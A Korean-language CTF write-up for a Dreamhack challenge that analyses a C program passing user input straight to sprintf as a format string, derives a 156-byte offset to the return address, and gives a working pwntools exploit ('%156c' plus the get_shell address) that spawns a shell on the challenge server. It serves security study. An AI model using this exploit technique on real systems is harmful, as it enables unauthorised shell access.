문제분석
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
read(0, heap_buf, 0x80)
로 stack_buf
입력을 0x80 바이트만 받는다.
즉, stack_buf
에서 BOF가 발생하지 않는다.
sprintf(stack_buf, heap_buf);
하지만 입력 값을 heap_buf
에 저장하고 sprintf(stack_buf, heap_buf)
로 stack_buf
에 복사한다.
복사 과정에서 heap_buf
에 대한 검증이 존재하지 않는 것을 알 수 있다.
이 과정에서 heap_buf
에 포맷스트링이 들어가면 어떻게 될까?
sprintf(stack_buf, "%s", heap_buf); // 정상적인 sprintf() 사용
sprintf(stack_buf, heap_buf); // 비정상적인 sprintf() 사용
sprintf()
를 정상적으로 사용하는 방법은 위와 같이 포맷스트링을 지정하는 것이다.
그러나 sprintf()
를 포맷스트링을 사용하지 않는 잘못된 방식으로 사용하고 있다. 따라서 sprintf()
를 실행할 때 heap_buf
에 포맷스트링이 있다면 FSB가 발생한다.
FSB가 발생하는 것을 활용하면 길이 제한과는 상관없이 stack_buf
에 원하는 크기의 데이터를 입력할 수 있고 BOF가 발생할 수 있다.
문제풀이
pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x8048669 <get_shell>
get_shell() 주소는 0x8048669이다.
0x080486d0 <+84>: add esp,0x8
0x080486d3 <+87>: lea eax,[ebp-0x98]
0x080486d9 <+93>: push eax
0x080486da <+94>: push 0x8048791
0x080486df <+99>: call 0x8048460 <printf@plt>
다음으로 [stack_buf ~ RET]
거리를 구해보자. printf()
를 실행하는 과정의 코드다.
요약하면, <main+87>
에서 [ebp-0x98]
인 stack_buf
주소를 인자로 넣고 printf()
를 실행한다.
즉, [ebp-0x98]
이 stack_buf
주소이므로 0x98 = 152
이고 152 + 4(SFP) = 156
byte만큼이 [stack_buf ~ RET]
거리가 된다.
payload를 구성해보자.
[dummy] * 156 + [get_shell() addr]
위와 같이 구성할 수 있다.
RET을 덮으려면 stack_buf
을 156 byte dummy로 채워야 한다. 이때, "%c"
포맷스트링을 활용하면 된다.
"%c"
포맷스트링을 활용하면 임의의 바이트를 더미로 메모리에 저장할 수 있다.
예를 들어보자.
FSB가 발생하는 상황에서 "%156c"
와 같이 입력하면 메모리에 156 바이트 크기의 더미가 저장된다.
이를 활용하면 sprintf()
를 실행하는 과정에서 stack_buf
에 156 byte만큼 더미를 저장하고 RET에 도달할 수 있다.
exploit
from pwn import *
import warnings
warnings.filterwarnings('ignore')
#context.log_level='debug'
p = remote('host3.dreamhack.games',9264)
payload = b"%156c"
payload += p32(0x8048669)
p.sendline(payload)
p.interactive()